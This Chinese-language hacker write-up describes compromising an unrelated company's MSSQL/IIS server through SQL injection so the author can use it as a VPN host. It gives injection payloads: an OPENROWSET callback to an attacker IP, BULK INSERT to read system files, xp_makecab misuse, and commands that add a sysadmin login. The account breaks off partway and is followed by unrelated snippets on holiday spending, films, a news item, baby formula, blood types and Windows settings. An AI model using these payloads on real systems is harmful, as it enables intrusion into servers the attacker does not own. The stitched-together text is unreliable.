By NetPatch 由于工作原因,疏于管理肉鸡,用了许久的VPN肉鸡飞了……米办法,因为上一些国外站点需要用VPN,只能再去找几台做VPN用用了。于是找GOOGLE帮忙,搜了下。不一会就找到了个有注入且为SA权限的肉鸡,心想,今天运气不错嘛。一找就给我了个SA。可能有些朋友看到这边,或许该起哄了,都SA了,这还好意思写文章出来,这类文章多的跟米一样,不差我这篇吧。呵呵,如果是一般的情况,我也不会厚脸皮写出来了。请耐心继续往下看,从中你可以学到xp_makecab,xp_unpackcab, xp_regread, sp_configure等扩展存储的使用。 OK,我先说下这台 *** 肉鸡的大概情况。 2K+MSSQL2000+IIS 对外开放80,1433,3389端口,且此服务器上只放该站一个站点,而且后台密码是写在ASP文件里的(前面猜表时并未找到后台相关的表,于是猜测对方是把密码写在ASP文件里了,进去后肯定了我的猜测)。 *** 上公认的危险存储扩展均被删除,且无法恢复。 (后来确认是 odsole70.dll,xplog70.dll,xpstar.dll三个DLL被删除) 这三个DLL的删除,意味着N多的存储扩展用不了了。也就意味着,虽然是SA权限,但你却不能执行命令,不能列目录,不能读改注册表,不能恢复被删除的存储扩展。 OK,大体情况已经说了,难度系数是有D,看我是如何击破这坚固的堡垒的。 虽然对方开放了1433端口,但是这并不代表着WEB和数据库就肯定是在一快的。曾经就碰过这类的机器,虽然开着MSSQL服务,但是却是给别的WEB机器提供的。节省资源,又相对安全。于是我先在本地用NC监听80端口(反连看IP,自己机器并不一定要有装MSSQL的),在注射点上注射如下语句: ;insert into OPENROWSET('SQLOLEDB','uid=sa;pwd=netpatch;Network=DBMSSOCN;Address=111.111.111.111,80;', 'select * from dest_table') select * from src_table;-- 因为我们只要看IP,所以其他的参数就无所谓了。而端口设置成80,是为了预防一些机器只让访问外部80。 没一会,就有机器连过来了,一看IP。嘿嘿,正是目标机器。如图1 于是大胆进行下一步计划——获取WEBSHELL。 要获取WEBSHELL,首先我们得需要路径,如何去获取路径呢?由于许多存储扩展已经不能使用,我们没办法执行命令,列目录,查看注册表等操作。于是,我脑袋里闪过的IDEA就是,读取MetaBase.bin文件!有经验的朋友都知道,此文件乃IIS 5.0的网站配置文档。可怎么读呢? drop table [nspcn] CREATE TABLE [nspcn](ResultTxt nvarchar(1024) NULL) BULK INSERT [nspcn] FROM 'c:\boot.ini’ WITH (KEEPNULLS) insert into [nspcn] values ('g_over');Alter Table [nspcn] add id int NOT NULL IDENTITY (1,1) select * from [nspcn] 上面的代码利用BULK来读取boot.ini文件,本地测试成功读取。 下图是本地测试的抓图 如图2 于是转而读取MetaBase.bin文件,但是当时测试的时候失败了。读取的内容为空。 下图是本地测试的抓图(由于虚拟机只有2K3有装MSSQL,我从2K上COPY了个MetaBase.bin) 如图3 于是我又想到了xp_makecab,xp_unpackcab两个扩展存储,于是用了如下语句: ;exec master..xp_makecab ''C:\WINNT\Help\iisHelp\common\404b.cab ','mszip',1,''C:\WINNT\Help\iisHelp\common\404b.htm' --//备份404b.htm页面 --//由于当时忘了xp_unpackcab有个参数可以解压重命名的,哎,真是大意啊。于是用了下面的烂招 Exec master..xp_makecab ' C:\WINNT\Help\iisHelp\common\404b.htm ','mszip',1,'C:\WINNT\system32\inetsrv\MetaBase.bin' --//结果肯定失败了! 没办法,只能另图他法了。得想办法恢复那些存储扩展才行。先用NC连了下对方的1433,根据反馈结果表示可以连上。如图4 于是用如下语句加了个SYSADMIN权限的用户 ;exec master.dbo.sp_addlogin nspcn,netpatch-- ;exec master.dbo.sp_addsrvrolemember nspcn sysadmin-- --//后来才发现我语句写错了,第二句漏了个逗号! --//正确的应该是exec master.dbo.sp_addsrvrolemember nspcn, sysadmin-- 用查询分析器连接上去,发现只是个PUBLIC权限,晕死我了。
春节假期已经结束好几天了 不少网友在网上晒出了账单, 交通、聚会、人情……各项不菲的花销 让不少网友发出感叹: 春节也是“春劫”一周花掉好几个月的工资 小编采访了一...
本文导读目录: 1、推荐日剧 2、寻欧美经典科幻电影(如外星生物,外星球)100部!!! 3、黑客帝国有几部 4、推荐点好看的电影 5、如何评价莫妮卡贝鲁奇? 6、看电影时,故事的...
中新网兰州12月25日电 (刘可)近日,中国优秀政务平台推荐及综合影响力评估工作会上传来喜讯,兰州高新区在推动网上政务上,连获2020年“中国政务网站优秀奖”和“国家级高新区微信优秀奖”两项殊荣。...
常常会出现婴儿奶粉剩下的状况,没喝了的婴儿奶粉一样拥有 保存期,即使在冬季和电冰箱中剩奶的储放時间也比较有限,時间过长婴儿奶粉非常容易霉变,严重危害小孩的身心健康,那麼没喝了的婴儿奶粉能够 储放多长时...
血型遗传有规律,这是众所皆知的事实。那么,a型血和b型血生的孩子是什么血型呢?说到这个问题,有多少人能够准确的回答出来了。其实,血型配比不外乎就那么几种情况。 那么,a型血和b型血生的孩子的血型就有...
操作步骤:1、从开始菜单进入设置;2、然后进入到时间和语言设置选项;3、接下来在区域和语言中,点击添加语言选项。 1、首先打开一个空白的wps文档,在页面中任意输入文字,可以发现输入的文字为繁体字。2...